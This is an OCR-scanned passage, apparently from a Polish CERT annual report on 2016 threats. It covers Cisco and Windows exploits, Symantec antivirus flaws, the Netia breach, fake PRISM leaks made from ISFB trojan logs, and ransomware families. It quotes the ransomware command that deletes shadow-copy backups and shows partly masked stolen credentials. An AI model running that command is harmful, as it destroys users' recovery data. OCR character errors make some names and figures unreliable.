to sie przeportowaé go na najnowsze wersje
urzgdzenia (9.2)%. Exploit umozliwiat zdalne

51 https://zaufanatrzeciastrona.pl/post/analiza-najnowsze-
go-ataku-0day-na-firefoxa-uzywanego-w-tor-bundle/

52 http://www.spiegel.de/international/world/the-nsa-
uses-powerful-toolbox-in-effort-to-spy-on-global-net-
works-a-240969.html

53 https://blockchain.info/pl/address/19BY2XCgbDeéWiTVb-
TyzM9eR3LYréVitWK

54 https://community.rapid?7.com/community/infosec/
blog/2016/09/06/bringing-home-the-extrabacon

55 https://blog.silentsignal.eu/2016/08/25/bake-your-own-ex-
frabacon/
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wykonanie dostarczonego kodu. Wymaga-
niem dla atakujgcego byta znajomose ,,com-
munity string” SNMP atakowanego urzgdzenia.

Druga podatnos¢ (nazwa kodowa: EPICBA-
NANA; CVE-2016-6367)dotyczyta oprogramo-
wania urzgdzen z serii ASA, PIX oraz FWSM.
Parser interfejsu CLI umozliwiat podniesie-
nie uprawnieh lokalnemu  uzytkownikowi
i wykonanie dostarczonego kodu. Aby nastg-
pito prawidtowe wykonanie exploita, adres
Zzrédtowy atakujgcego musi by¢ na liscie urzg-
dzen z zezwolonym dostepem do potqczenia
poprzez Telnet lub SSH.

Google vs Microsoft — 7 dniowy disclosure
(CVE-2016-7255)

Kontrowersyjna podatno$¢ ujawniona publicz-
nie przez Google Threat Analysis Group, zaled-
wie po siedmiu dniach od momentu przekaza-
nia informaciji firmie Microsoft. Tak krétki termin
spowodowany byt politykg Google dotyczgcq
ujawniania podatnosci, ktére sq aktywnie wy-
korzystywane w atakach na uzytkownikédw®.

Dziura byta wykorzystywana jako jeden z ele-
mentéw ataku na pracownikédw amerykan-
skich think-tankéw oraz organizaciji pozarzgdo-
wych przez grupe STRONTIUM (inne uzywane
nazwy to: Sofacy oraz APT28). Jest to rosyjska
organizacja, prawdopodobnie powigzana ze
stuzbami specjalnymi GRU, odpowiedzialna za
ataki na pracownikéw Biatego Domu, Bunde-
stagu oraz NATO.

Pierwszym etapem ataku byto wykorzystanie
luki Use-After-Free we Flashu (CVE-2016-7855),
nastepnie nastepowato podniesienie upraw-
nien za pomocg btedu w module win32k.sys
jadra Windows (CVE-2016-7255).

Exploit dziatat na 64-bitowych systemach oraz
32-bitowej wersji przeglgdarki Internet Explo-
rer (domys$ina konfiguracja). Jego celem byto
stworzenie obiektéw okien Windows i uszko-
dzenie struktury tagWND w tych obiektach. Je-

zeli operacja przebiegta pomyélnie, atakujgcy

56 https://security.googleblog.com/2016/10/disclosing-vul-
nerabilities-to-protect.html

uzyskiwat dostep do pamieci umieszczonej za
uszkodzong strukturg. Dzieki femu istniata moz-
liwos¢ zapisu do pamieci jadra.

Nastepnie kopiowany byt token uzytkowni-
ka SYSTEM (uzytkownik z najwyzszymi upraw-
nieniami w Windows) i z jego uprawnieniami
tworzony proces Internet Explorer. Ostatnim
krokiem byta instalacja backdoora na kompu-
terze ofiary.

Podatnosci w oprogramowaniu antywiruso-
wym (m.in CVE-2016-2208)

Tavis Ormandy, badacz z Google Project Zero
przeprowadzit badanie bezpieczehstwa po-
pularnych produktéw antywirusowych firmy Sy-
mantec®. Z racji tego, ze programy AV cieszq
sie powszechnym zaufaniem i zdecydowana
wiekszo$¢ uzytkownikdw systemdw Windows
z nich korzysta, jest to bardzo interesujgcy cel
dla atakujgcych lub poszukiwaczy bteddw.

Oprogramowanie antywirusowe w znakomi-
tej wiekszosci przypadkdw mocno ingeruje
w system operacyjny (wtasne sterowniki), co
w przypadku kompromitacji modutu dziata-
jacego w frybie jadra, pozwala na uzyskanie
najwyzszych uprawnieh w systemie operacyj-
nym.

Przetestowane zostaty nastepujace produkty:
e Norfon Antivirus (Wszystkie produkty)

e Symantec Endpoint (Wszystkie produkty)

e Symantec Scan Engine (Wszystkie produkty)
e Symantec Email Security (Wszystkie produkty)

Problemem producentéw rozwigzah AV,
z ktérego zdajq sobie sprawe programisci zto-
Sliwego oprogramowania, sq packery plikéw
wykonywalnych, takie jak powszechnie zna-
ny UPX. Aby sobie z nim poradzi¢, stosowane
sq emulatory bqdZ dedykowane unpackery.
Sqg to czesto skomplikowane rozwigzania i po-
dafne na btedy (Google Project Zero znala-
zto réwniez btedy w tego typu kodzie innych
producentéw m.in Comodo, ESET, Fireeye czy
Kaspersky).

57 https://googleprojectzero.blogspot.com/2016/06/
how-to-compromise-enterprise-endpoint.html
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Pierwszym powaznym btedem byto przepet-
nienie bufora unpackera ASPack, ktérego
kod, razem z modutem skanujgcym, zatado-
wany jest do jgdra systemu Windows. Oznacza
to, ze wykorzystanie tego btedu pozwala na
uzyskanie najwyzszych uprawnieh w systemie
operacyjnym. Sposobem ataku na uzytkow-
nika mégt by¢ zwykty e-mail lub plik pobrany
z internetu - nie wystepowata potrzeba uru-
chomienia przez uzytkownika, gdyz produkt
firmy Symantec automatycznie skanowat go
pod kgtem obecnosci ztosliwego oprogramo-
wania.

Drugie przepetnienie bufora wystepowato
w kodzie przetwarzajgcym dokumenty Power-
Point z pakietu Microsoft Office, stuzgcym do
wypakowania osadzonych obiektéw, takich
jak makra Visual Basic for Applications (VBA).

Symantec podczas kompilacji swoich produk-
tow nie skorzystat z przetqcznikéw /GS oraz
-fstack-protector odpowiedzialnych za ochro-
ne przed przepetnieniomi bufora na stosie.
Pozwalato to na bardzo tatwe wykorzystanie
btedu i nadpisanie adresu powrotu z funkcji na
stosie.

Zagrozenia, incydenty i obserwacje
szczegolnie istotne dla polskich
uzytkownikow internetu

Pravyi Sektor

7 lipca 2016 roku blizej niezidentyfikowana oso-
ba, bgdZ grupa osdb, poinformowata media
o rzekomym witamaniu do serwera Netii. Do
dystrybuciji informaciji uzyto kilkku kont twitte-
rowych: @hstrelkovrodion3, @noskovfurs1994
oraz @gamletschukin12. Konta te nie byty
wczesniej uzywane. Rozsytano informacje
0 ponizszej tredci:

@PolishClubBos

Ukrainian nationalists broke

info the major TV and internet
provider https://t.co/9snF5gwmIC
— Lemberg (@noskovfurs1994)
July 7, 2016

Rys. 7. Zrzut ekranu pokazujgcey ,,PHP shella”

Odsytata ona do rzekomego twitterowe-
go profilu ukraihskiego ,,Prawego Sektora”
— @pravsector. Sam profil zostat zatozony chwi-
le wczedniej i nie byt w zaden sposdb powigza-
ny z prawdziwym ,Prawym Sektorem”. Z jego
wykorzystaniem dystrybuowano w przeciqgu
kilku kolejnych dni réznego typu ,wrazliwe" in-
formacje opisane ponize;.

Jeszcze tego samego dnia na innym, choc
réwniez fatszywym, profilu @pravysector po-
jawit sie zrzut ekranu majgcy udowodnié, ze
atakujgcy mogg wydawac polecenia na ser-
werze investor.netia.pl za pomocqg tzw. ,,PHP
shella” (rys. 7).

o "'Eii'éuﬁé'é};;i;&'é;'éii:éf"; -

[
= [ investor.netis.pl
[ 2016/87/81 1--

-- "logger” . dbleg’

bROP TABLE IF EXTSTS “dblog’;
CREATE TABLE “dblog™ |
“id" int(11) NOT HULL AUTO INCREMENT,
“date’ timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
“user’ warchar(64) MOT WULL,
“dotable’ varchar{G4) WOT NULL,
“action” varchar(28) NOT NULL,
‘query’ text NOT MULL,
“result” text NOT MULL,
PRIMARY KEY ("id")
) ENGINE=MyISAM AUTD INCREMENT=24626G88 /=!48181 DEFAULT CHARSET=utf@ =/;

Rys. 8. Zrzut z bazy danych

Wynikato z niego, ze atakujgcy miat dostep
do znajdujgcych sie na serwerze baz danych.
W niedtugim czasie bazy te zostaty opubliko-
wane.

Ich rozmiar wynosit kilkanascie GB. Nagtdwki
wskazywaty, ze dane zostaty skopiowane 1 lip-
ca 2016 roku (rys. 8).

Wykradzione dane dotyczyty klientow Netii
oraz oséb, ktére za posrednictwem strony
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infernetowej odpytywaty sie np. o parametry
czy dostepnos¢ ustug. Wirdd informacii mozna
byto znalez¢é m.in.:

e imie i nazwisko

e qadres

e numer telefonu
e qadres e-mail

W nastepstwie powyzszych zdarzen, Netia wy-
data oficjalny komunikat o nastepujqgce;j tresci:

e numer rachunku bankowego

’ ’ 7 lipca 2016 roku okoto potudnia strona internetowa netia.pl zostata
zaatakowana przez hakeréw. Hasta i loginy dostepu do NetiaOnline sq
bezpieczne, dlatego nie ma koniecznosci zadnych dziatan ze strony
klientéw.

Wszystkie serwisy obstugi klienta Netii dziatajg prawidtowo. Eksper-
ci analizujq przebieg ataku. Podjete aktywnosci pozwolity zmini-
malizowaé skutki dziatan wymierzonych w firme. We wspétpracy z
wiodgcymi na rynku specjalistami z zakresu cyberbezpieczenstwa
niezwtocznie wzmocnilismy ochrone naszych zasobdw sieciowych.

Niemniej w wyniku ataku hakerzy dostali sie do stron zawierajgcych
dane oséb zgtaszajgcych poprzez formularz cheé kontaktu ze strony
Netii. Sq to czesto fragmentaryczne wpisy, zawierajgce gtéwnie num-
ery telefonéw kontaktowych.

Dodatkowo wtamujqgcy sie na strone uzyskali dostep do danych z for-
mularza uméw zawieranych drogq elektroniczng, poprzez strone in-
ternetowq Netii. Netia pragnie zachowaé najdalej idgcq ostroznosé,
dlatego wszyscy klienci, ktérych moze dotyczyé potencjalny wyciek,
zostanq powiadomieni. Dotyczy to niewielkiej czesci abonentéw firmy.

Sytuacja zostata ustabilizowana. Dane klientéw oraz firm wspétpracu-
jacych sq zabezpieczone przez ekspertéw Netii, ktérych wspomaga
dodatkowy, wysoko wykwalifikowany, zewnetrzny zesp6t doradczy.

O dalszych szczegétach bedziemy informowali na biezqco wraz z
postepem naszej kontroli.
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Warto w tym miejscu zwrdci¢ uwage, ze omo-
wione powyzej wydarzenie zbiegty sie w czasie
z odbywajgcym sie w Warszawie w dniach 8-9
lipca 2016 szczytem NATO.

Kolejna odstona sprawy miata miejsce 14 lip-
ca. Ponownie, z wykorzystaniem profilu @prav-
sector, zaczeto publikowa¢ wrazliwe dane.
Tym razem powigzane z Ministerstwem Obrony
Narodowej. W pierwszej kolejnosci pojawi-
ty sie plik .xls zawierajgcy rzekomo spis kom-
puterédw znajdujgcych sie w domenie in-
fermon.mon.gov.pl oraz pliki pochodzgce

z jednego z tych komputerdw. Atakujqcy spre-
parowat pewne wpisy, ktére miaty swiadczyé
o udziale pracownikdw MON w tajnym ame-
rykanskim programie szpiegowskim PRISMS,
Po pierwsze nazwy dwdch komputerdw znaj-
dujgce sie w pliku .xIs zawieraty cigg ,,PRISM”
(rys. 9).

CN=USER-PC1802 |OU=Workstations, DC=interman, DC=man, DC=gov,DC=pl
CN=USER-PCO089 PRISM. A= Workstations, DC=inlerman, DS=mon, DC=00v.DC=0l

Rys. 9. Wpisy doft. ,,PRISM"

58 https://pl.wikipedia.org/wiki/Prism_(program_szpiegowski)
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Rys. 10. ,Ankieta Personalna”

Po drugie zmieniono tytut formularza ,,Ankiety
Personalnej”, tak aby sprawiata wrazenie, ze
dotyczyta kandydata do stuzby PRISM (rys. 10).
Po opublikowaniu tych dokumentéw, zazgda-
no okupu w wysokoéci 50 000 dolaréw amery-
kanskich. W pierwszej wersji miaty one trafi¢ na
konto ukraihskiego aktywisty i blogera, a na-
stepnie na portfel bitcoinowy wykorzystywany
w kampaniach powigzanych z ransomware.
Brak wptaty miat skutkowac upublicznieniem
kolejnych dowoddw wskazujgcych na powig-
zania panstwa polskiego z PRISM. ,,Dowody”
te pojawity sie jeszcze tego samego dnia. Byty
to rzekome logi, bedgce wynikiem podstuchu
w ramach programu. W paczce znajdowa-
to sie 25 katalogdw, a w kazdym z nich logi
(rys. 11).

Rys. 11. Katalogi zawierajgce logi

4]
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PRISM Poland
Cluster 982

Metadata 588428406065/20158A05F2F25FBF789C31DCBRGES2DABCAC

FEEEFEEREREEERETES

USER: Be*** Was*skwix
19-87-20815 19:38:41

URL: https://logowanie.interia.pl/poczta/zaloguj?referershttp%3A%2F%2Fpoczta. interia. pl&écrc=8bec34a27bdadod?

REF: https://poczta.interia.pl/
LANG: pl-PL

AGENT: Mozilla/5.8 (Windows NT 6.1: Trident/7.8: rv:11.8) like Gecko

COOKIE: cpol=643331******; utma=1.212507004****++*=
Country: PL

Group: 1681

Host: ***.mm.pl

Browser: Undef

05: Win7

Form Content:

email=rif**sxs*xxa@anoczta. fm

pass=g*r¥¥rExg

Rys. 12. Przyktadowy log

W poszczegdlnych logach znajdowaty sie infor-
macje dotyczgce potgczeh do serwiséw WWW
oraz uzytych logindw i haset. Dodatkowo, kaz-
dy z logdw byt opatrzony nagtéwkiem zawie-
rajgcym stowo kluczowe ,,PRISM” (rys. 12).

W rzeczywistosci logi te byty najprawdopo-
dobniej danymi zebranymi przez trojana ban-
kowego o nazwie ISFB, a nagtéwek ,,PRISM" —
podobnie jak wszystkie inne skojarzenia z tym
systemem - zostat dodany przez atakujgcych.
Wskazuje na to fakt, ze zaréwno format nazw
katalogdw, plikdw oraz danych zawartych

Rys. 13. Struktura katalogdw i plikéw

w logach jest identyczny jak w przypadku ISFB.
Nazwa katalogu jest bardzo charakterystyczna
i jest to unikalne ID zainfekowanego kompute-
ra, wyliczane na bazie uzytego w nim sprzetu.
Z kolei nazwa pliku ,log.txt" to domyséina na-
zwa uzywana przez ISFB. Zapisywane w nim sq
dane wykradzione podczas wypetniania for-
mularzy. Stqd loginy i hasta do wielu serwisdw.

Na rys. 13, po lewej stronie widoczna jest struk-
tura katalogdw i plikdw udostepnionych przez
przestepcédw, po prawej - dane zebrane w
analogicznym czasie przez ISFB:

FOBF17EF-0DA2-FA13-2FC2-39442C90C704

keylog.txt

log.txt
FOBFDFA1-9664-A4EE-C887-3A5195531640

keylog.txt

log.txt
F9C5C5FE-0350-27C3-BDF8-F7EABBDBACLY

keylog.txt

log.txt
FOC787BF-FCB2-228C-0F22-19A424500877

keylog.txt

log.txt
F9C7CD39-DFE3-F051-B15C-0BEE1351B14D
L— keylog.txt
FOCF9EE9-3E69-9D9C-2867-9A3123893690
L— log.txt
F9DO17D6-6047-49E3-517C-ABOE6O367C42

keylog.txt

mail.txt
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ISFB przetrzymuje oczywiscie bardziej obszerny
zestaw danych m.in. te zebrane z key loggera
(keylog.txt) czy dane skrzynek pocztowych
wyciggniete z klientdw pocztowych (mail.txt).
Najwidoczniej nie byty one jednak interesu-
jace z punktu widzenia atakujgcego.

USER: ***%*¥arz, prz*****
86-21-2815-22:15:19

URL: -https://******bankonline.pl/****
REF: -https://****xx%bapnkonline.pl/****
LANG: -pl-PL

AGENT: -Mozilla/5.8 (compatible; MSIE-9.8;
COOKIE: ****ack=page****

Country: ‘PL

Group: -1882

Host: **** adsl.tpnet.pl
Browser: -IE 9.8

0S: -Win7 -x64

Form Content:

SYNC_TOKEN=54***x

username=*%*¥xxgjlj

password=****x12g

Rys. 14. Porébwnanie plikéw log.txt

Na rys. 14 przedstawione jest porédwnanie
plikdéw log.txt. Po lewej stronie - jeden z ud-
ostepnionych przez przestepcdw, po prawej
-z analogicznego okresu pochodzqgcy z kon-
frolera ISFB:

W przypadku danych przechowywanych
w log.txt, w nagtdowku ,,Group” ISFB zapisuje
numer grupy, do ktdrej przypisana jest ofiara.
W opublikowanych plikach znalazty sie 4 tak-
ie grupy. Ponizej informacja o grupach oraz
pierwszym i ostatnim momencie, w ktérym
wykradziono dane:

e 1000 -o0d 11.02.2015 11:43:44
do 06.06.2015 17:03:18

e 1001 —od 10.04.2015 03:40:07
do 08.10.2015 21:58:59

e 1002 -0d 20.04.2015 12:13:39
do 15.10.2015 20:44:25

e 1003 - 0d 06.05.2015 14:50:31
do 18.07.2015 13:03:21

We wskazanych okresach CERT Polska obser-
wowat serwery C&C frojana ISFB, dystrybuu-
jace pliki konfiguracyjne dla wskazanych grup.
Caty proceder miat na celu kradziez srodkdw
z kont klientdw polskich bankdéw. Wiéréd

serwisdw internetowych, dla ktérych zawarto$é
prezenfowana odwiedzajgcym je klienfom
byta modyfikowana przez trojana, znajdowa-
to sie ponad 20 bankdw z Polski, a takze kilka
z Wielkiej Brytanii i Szwajcarii.

USER: -D****3

22-85-2615-16:11:25

URL: -https://*****xbapnkonline, pl/*****
REF: -https://******xhankonline. pl/*****
LANG: -pl-PL,pl;q=68.8,en-US;q=08.6,en;q=0.4
AGENT: ‘Mozilla/5.8 - (Windows ‘NT-6.1; -WOW64)
COOKIE: _ vidwl-Llr-8_www*r**r*

Country: -PL

Group: 16808

Host: - **#*** mm, pl

Browser: -Chrome -43.8.2357.65

05: ‘Win7 -x64

Form-Content:

SYNC_TOKEN=b3668276a97*#+%%x
username=*****123

password=***xx¥ng]

Niepokojqcy jest fakt, ze dane pochodzgce
z botnetdw tworzonych i wykorzystywanych
do popetniania przestepstw finansowych, zos-
taty wykorzystane w watku politycznym. Zaden
zrozpoznanych do tej pory aktoréw, odpowie-
dzialnych za ataki powigzane z ISFB, nie wyka-
zywat aktywnosci w tej sferze. Pozostaje tylko
domniemywadé, w jaki sposéb osoby trzecie
uzyskaty dostep do danych gromadzonych
przez przestepcdw. Najbardziej prawdopo-
dobny wydaje sie w tym przypadku scena-
riusz, w ktérym wiasciciel botnetu odsprzedat
dostep w celach czysto zarobkowych. Takie
przypadki miaty juz miejsce w przesztosci.
Jeszcze bardziej zasadnicze wydaje sie pyta-
nie, kto wykupit dostep i czy byto to dziatanie
jednorazowe. Niestety, nie mozna na nie
udzieli¢ jednoznacznej odpowiedzi.

Ransomware

Rok 2016 byt zdecydowanie rokiem zto$liwego
oprogramowania szyfrujgcego. Wedtug da-
nych firmy F-Secure, w minionym roku zostaty
odkryte 193 nowe rodziny ransomware. W po-
réwnaniu do roku 2015 to wzrost o ponad 550
proc. Ponizej przedstawiamy najwazniejszych
graczy atakujgcych polskich uzytkownikéw.
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Locky

W 2016 roku Locky byt drugim najpowszech-
niejszym rodzajem ransomware®. Pierwszy raz
pojawit sie w lutym, prawdopodobnie za spro-
wq grupy zajmujacej sie wczesniej dystrybucijg
bankera Dridex. ,,Dystrybutorzy” nie szczedzili
srodkdéw, chcqc zainfekowad jak najwiekszg
liczbe oséb. Locky dystrybuowany byt zardw-
no za pomocq ztodliwych zatqgcznikdéw oraz
przy uzyciu exploit kitdw (str. 21).

W zatqgcznikach wykorzystywat nastepujace
typy plikow:

e Microsoft Office (.doc, .docx, .xls) z wyko-
rzystaniem makr Visual Basic for Applica-
tions (VBA)

JScript (.s)

JScript Encoded (.jse)

VBScript (.vbs)

Skrypty Windows (.wsf)

Kompilowany HTML (.chm)

HTML Application (.hta)

Skroty Windows (.Ink)

Pliki wykonywalne Windows (.exe)

Biblioteki Windows (.dll)

Windows Powershell

W celu szyfrowania plikbw, Locky wykorzy-
stywat kombinacje AES-128 oraz RSA-2048.
Zaszyfrowane dane przyjmowaty rézne roz-
szerzenia plikdw: .locky, .zepto, .odin, .thor,
.zzz7z, .qesir. Atakowane byty dyski twarde,
wymienne, udziaty sieciowe oraz dyski w pa-
mieci RAM. Dodatkowo, dla kazdego szyfro-
wanego pliku byt generowany nowy klucz AES
o dtugosci 128 bitdw. W czerwcu deweloperzy
udoskonalili schemat dziatania i wprowadzili
szyfrowanie offline, w przypadku ktérego nie
ma koniecznos$ci nawigzywania potgczenia
z C&C. Klucz publiczny po infekcji zapisywany
byt w rejestrze systemu Windows.

Wielkos¢ zgdanego okupu zalezata od rodza-
ju kampanii oraz kraju, ktéry byt celem ataku.
Zazwyczaj przestepcy zadowalali sie kwotami
rzedu 0,5-1 BTC. W przypadku dystrybucji wirdd
niemieckich internautéw okup wynosit 4-5 BTC.
Twoércy malware nieustannie szukajg nowych

59 https://blogs.technet.microsoft.com/mmpc/2017/02/14/
ransomware-2016-threat-landscape-review

rynkéw. Pod koniec grudnia strona stuzgca do
zaptaty okupu byta dostepna w 30 jezykach.

Cerber

Cerber to jedna z rodzin ransomware, ktéra
pojawita sie w 2016 roku. Pierwsze $lady jego
aktywnosci odnotowano na poczgtku marca
tego roku. Mozna kupi¢ swojego witasnego
Cerbera na podziemnych rosyjskich forach
i rozprowadza¢ go na wtasng reke. Obecnie
najpopularniejszg metodq infekcji Cerberem
sq exploit kity, szczegdlnie Rig-V.

Zachowanie Cerbera jest dos¢ standardowe -
kopiuje sie do ukrytego folderu w %APPDATA%
i rozpoczyna szyfrowanie. Zmieniane jest roz-
szerzenie oraz nazwa zaszyfrowanych plikéw
do postaci [losowe znaki].cerber. Ciekawqg
funkcjg Cerbera jest préba odegrania wia-
domoéci gtosowej o tresci ,Twoje pliki zostaty
zaszyfrowane” za pomocqg wbudowanego
w system Windows syntezatora gtosu - SAPI
(Microsoft Speech API). Nietypowe jest tez ska-
nowanie catych podsieci za pomocqg UDP po
uruchomieniu.

Cerber prébuje maskowac sie w systemie
— nazwa pliku wykonywalnego nie jest w petni
losowa, ale jest kopiowana z innego pliku zna-
lezionego w folderze C:\Windows\system32\.
Dodatkowo data utworzenia pliku jest fatszo-
wana tak, aby byta rowna dacie utworzenia
pliku kernel32.dll w systemie. Inng ciekawqg
technicznie rzeczq jest sposéb omijania UAC
- wykorzystywana jest technika zwana DIl In-
jection w celu zatadowania ztodliwego kodu
do zaufanego procesu korzystajgcego z UAC
auto-elevate®.

W swojej konfiguracji Cerber ma zapisany klucz
publiczny atakujgcych, co usuwa potrzebe
pobierania klucza od serwera C&C. Znajduje
sie tam tez ,blacklista” krajéw, lista atakowa-
nych rozszerzeh oraz wiadomos¢ z zadaniem
okupu.

W sierpniu 2016 roku na krotkg chwile badacze
z firmy Checkpoint udostepnili ustuge, dzieki
ktérej mozna byto za darmo odszyfrowac pliki

60 https://blog.malwarebytes.com/threat-analysis/2016/03/
cerber-ransomware-new-but-mature/
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Cerbera w wersji 1 oraz 2. Jej autorom praw-
dopodobnie udato sie znalezé podatnosé
w serwerze C&C Cerbera. Niestety przestepcy
szybko naprawili ten btqd i od tego czasu od-
szyfrowanie plikdbw ponownie jest niemoZliwe.

Mimo ze Cerber nalezy do nowej rodziny zto$li-
wego oprogramowania, dos¢ szybko osiggnat
dojrzato$¢ i poradzit sobie z poczgtkowymi
problemami. To zta wiadomo$¢, poniewaz
szeroka dostepnos¢ Cerbera potgczona
zjego wysokq skutecznoiciq powoduje, ze byto
to jedno z najbardziej szkodliwych zagrozenh
w 2016 rokus'.

Misha & Petya

Duet Misha & Petya oferowany jest w mo-
delu biznesowym ransomware-as-a-service.

W przypadku braku uprawnien administracyj-
nych, pobierana jest Mischa w postaci biblio-
teki DLL wstrzykiwanej do procesu conhost.
exe. Misha szyfruje podmontowane dyski wy-
mienne, udziaty sieciowe oraz dyski lokalne.
W przeciwienstwie do wiekszosci ransomwa-
re, celem jej zainteresowania sg réwniez pliki
o rozszerzeniach EXE i biblioteki DLL, z pominig-
ciem katalogdw systemowych, danych profilu
uzytkownika i folderéw, w ktérych zostaty zain-
stalowane przeglgdarki.

Autorzy nie skorzystali z gotowych bibliotek
kryptograficznych i sami zaimplementowali al-
gorytm szyfrowania. Poczgtkowa wersja tego
malware'u zawierata btedy, ktdre pozwolity
na opracowanie deszyfratoras?. W tej chwili
algorytm zostat poprawiony, co uniemozliwia
darmowe odwrdcenia procesu szyfrowania.

Rys. 15. Serwis WWW dla dystrybutoréw ransomware Misha & Petya

Kazdy zainteresowany za symboliczng optatqg
1$ w BTC moze zosta¢ ,dystrybutorem” tego
oprogramowania i mie¢ udziat w zyskach
z uzyskanego okupu (dzielony z dewelopera-
mi procentowo, w zaleznosci od liczby infekcji
i wysokosci wptat).

W pierwszej fazie infekcji dropper w pliku PIF
sprawdza uprawnienia, z jakimi zostat urucho-
miony, oraz prosi o ich podwyzszenie wyswie-
flajac okienko Windows User Account Control.

61 https://blogs.technet.microsoft.com/mmpc/2017/02/14/
ransomware-2016-threat-landscape-review

W sytuacji, kiedy dropper zostanie uruchomio-
ny od razu z uprawnieniami administracyjnymi
(potwierdzenie w okienku User Account Con-
frol), urzgdzenie ofiary zostaje zainfekowane
ransomware’'em Petya.

Petya jest bardzo ciekawym rodzajem ran-
somware. Prawdopodobnie jako pierwszy
z tej grupy ztosliwego oprogramowania nad-
pisuje struktury MBR w celu catkowitego zablo-
kowania dostepu do systemu operacyjnego.

62 https://blog.kaspersky.com/petya-decryptor/11819/
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Dodatkowo, autorzy pokusili sie o stworzenie
niskopoziomowego kodu szyfrujgcego wyko-
rzystujgcego algorytm Salsa20. W wyniku infek-
cji nastepuje uruchomienie komputera z fat-
szywym narzedziem chkdsk oraz wyéwietlenie
charakterystycznego logo w ksztatcie czaszki.

TorrentLocker

TorrentLocker jest ,,duchowym spadkobier-
cq” CryptolLockera, pierwszy raz zaobserwo-
wanym w styczniu 2014. Ostatnio zrobito sie
o nim gtosno w pazdzierniku 2016 roku, kiedy
otrzymalismy zgtoszenie o kolejnej kampanii
spamowej wymierzonej w klientdéw sieci Play.
W ramach kampanii rozsytane byty e-maile
z fatszywymi fakturami, z zatgczonym skryptem
Java Script (udajacym fakture), ktdry pobierat
i uruchamiat ztodliwe oprogramowanie. Ten
sposdb ataku wystgpit w Polsce juz wczesdniej.
Na przetomie 2015 i 2016 roku pojawiaty sie
e-maile imitujgce powiadomienia o zalegtej
przesytce od Poczty Polskiej, albo faktury za
energie od PGE.

Gtéwnq funkcjg malware jest szyfrowanie pli-
kéw znajdujgcych sie na lokalnych dyskach
i podmontowanych udziatach sieciowych.
Po zaszyfrowaniu wyséwietlana jest informacja
o koniecznoici zaptacenia okupu w zamian
za swoje dane. Kwota poczgtkowo wynosita
0.6 BTC, ale juz po kilku dniach wzrosta dwu-
krotnie. Aby ofiara uwierzyta, ze pliki mozna
faktycznie odszyfrowaé, serwis pozwala na
odzyskanie jednego pliku za darmo. Dodatko-
wo malware wykrada dane dostepowe oraz
adresy e-mail ze skrzynki pocztowej ofiary, oraz
wytgcza filtr antyphishingowy w Internet Explo-
rerze (prawdopodobnie w celu zwiekszenia
dostepnosci strony z ptatnosciq).

Pliki szyfrowane sqg algorytmem AES-256-CBC.
Na poczagtku generowany jest losowy klucz
AES, ktéry po uprzednim zaszyfrowaniu klu-
czem publicznym RSA zostaje wystany do
serwera C&C. Generacja klucza oparta jest
na funkcji CryptGenRandom z CryptoAPI Win-
dowsa, ale dla pewnosci jest dodatkowo mie-
szany z wartosciami GetTickCount. Nastepnie
tworzone sq watki szyfrujgce:
e Dla kazdego dysku
e Dla kazdego zamontowanego zasobu
sieciowego

e Dodatkowy watek dla pulpitu aktualnie
zalogowanego uzytkownika

W celu przy$pieszenia tego procesu, szyfrowa-
ny jest jedynie poczgtkowy 1MB kazdego pli-
ku. Co ciekawe, przy szyfrowaniu stosowana
jest ,,blacklista” zamiast ,,whitelisty” - co ozna-
cza, ze wymienione sq rozszerzenia, ktdrych
TorrentLocker nie szyfruje zamiast tych, ktére
szyfruje. Po operacji usuwane sq kopie zapa-
sowe plikéw, utworzone przez ustuge Volume
Shadow Copies poleceniem vssadmin.exe
Delete Shadows /A11 /Quiet.

CryptXXX & CrypMIC

Zagrozenie to pojawito sie na przetomie maja
i czerwca jako modut exploit kita Neutrino. Infek-
cja nastepowata po wejsciu na strone, na ktdrej
publikowane sq ztodliwe reklamy (malvertising).

O CryptXXX stato sie gtosno z powodu bardzo
szybkiego zwrotu kosztéw z inwestycji. W ciggu
dwéch tygodni jego twércom udato sie za-
robi¢ 70 BTC (160 000 PLN). Tak wysoki wynik
finansowy spowodowat pojawienie sie nasla-
dowcdw, szukajgcych szybkiego zarobku za
pomocqg malware'u okre$lanego jako Cryp-
MIC, ktéry swojq budowq oraz sposobem dzia-
tania przypomina CryptXXX.

Kilka cech wspdlnych:

e Dostarczane jako biblioteki DLL

e Schemat nazewnictwa pliku w postaci:
rad[losowy_cigg_znakéw].tmp.dll

e 7Zqdany okup w wysokosci 1,2 - 2,4 BTC

e Takie same ciggi znakdw, majgce
prawdopodobnie identyfikowaé kampanie

e Szyfrowanie udziatdw sieciowych oraz dys-
kéw wymiennych podtgczonych do kom-
putera w momencie infekcji

e /blizony uktad graficzny i tekst na bitma-
pach z zgdaniem okupu, ustawianych jako
tfapeta na pulpicie

CryptXXX jest napisany w Delphi i dystrybu-
owany w poczgtkowej fazie joko biblioteka
DLL. Zapewne z powodu probleméw z dzio-
taniem, pojawiajgcych sie w kohcowej fa-
zie, deweloperzy opracowywali ransomware
w postaci pliku EXE. Wszystkie ciggi znakéw
orazrozszerzenia byty zaciemnione za pomocqg
operacii bitowej XOR z warto$ciq OxEh.
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Po infekcji do folderu autostart uzytkownika do-
dawany jest skrét o nazwie [12_znakowy_iden-
tyfikator_uzytkownika].Ink, ktéry po uruchomie-
niu systemu wyswietla zgdanie okupu. Malware
ma réwniez funkcje przestoniecia pulpitu z wic-
domoscig o okupie, co skutkuje niemoznosciq
korzystania z systemu operacyjnego.

Celem CryptXXX sqg pliki o 933 réznych rozsze-
rzeniach. Programisci postarali sie i na liscie
rozszerzen, oprécz tych najpopularniejszych,
znajdziemy réwniez takie jok: mobilne forma-
ty wideo, aplikacje Android APK czy projekty
Srodowiska programistycznego Apple Xcode.
Proces szyfrowania nastepuje za pomocq
kombinacii algorytmdw RSA i RCA4.

Dodatkowo ransomware tadowat modut
o nazwie fx100.dll, stuzgcy do wykradania dao-
nych z przeglgdarek internetowych, klientow
poczty, klientéw VPN czy komunikatordw.

CrypMIC technicznie znacznie odbiega od
swojego pierwowzoru — ciggi znakdw nie sq za-
ciemnione oraz nie jest wykorzystywany modut
stuzqcy do kradziezy danych. Réwniez ilos¢
rozszerzen szyfrowanych plikéw jest mniejsza
— jest ich doktadnie o 32 mniej, czyli 901. Pliki
szyfrowane sq za pomocq algorytmu AES-256.

Co ciekawe, CrypMIC jest $wiadomy uru-
chomienia w $rodowisku wirtualnym, jednak
nie przeszkadza mu to w szyfrowaniu plikdw.
Warto wspomnie¢ réwniez o kasowaniu kopii
plikdw wykonanych za pomocg mechanizmu
Volume Shadow Copy.

CryptoMix

